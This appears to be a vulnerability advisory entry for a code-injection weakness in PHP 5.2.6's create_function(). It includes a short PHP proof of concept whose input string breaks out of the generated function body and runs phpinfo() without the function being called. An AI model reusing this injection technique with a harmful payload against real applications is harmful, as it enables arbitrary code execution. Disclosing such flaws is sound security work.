12 lines
No EOL
590 B
PHP
12 lines
No EOL
590 B
PHP
source: https://www.securityfocus.com/bid/31398/info
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PHP is prone to a code-injection weakness because it fails to sufficiently sanitize input to 'create_function()'. Note that the anonymous function returned need not be called for the supplied code to be executed.
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An attacker who can exploit this weakness will be able to execute code with the privileges of an additional vulnerable program.
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This weakness is reported in PHP 5.2.6; other versions may also be affected.
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<?php
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$funstring = 'return -1 * var_dump($a[""]);}phpinfo();/*"]';
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$unused = create_function('',$funstring);
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?>
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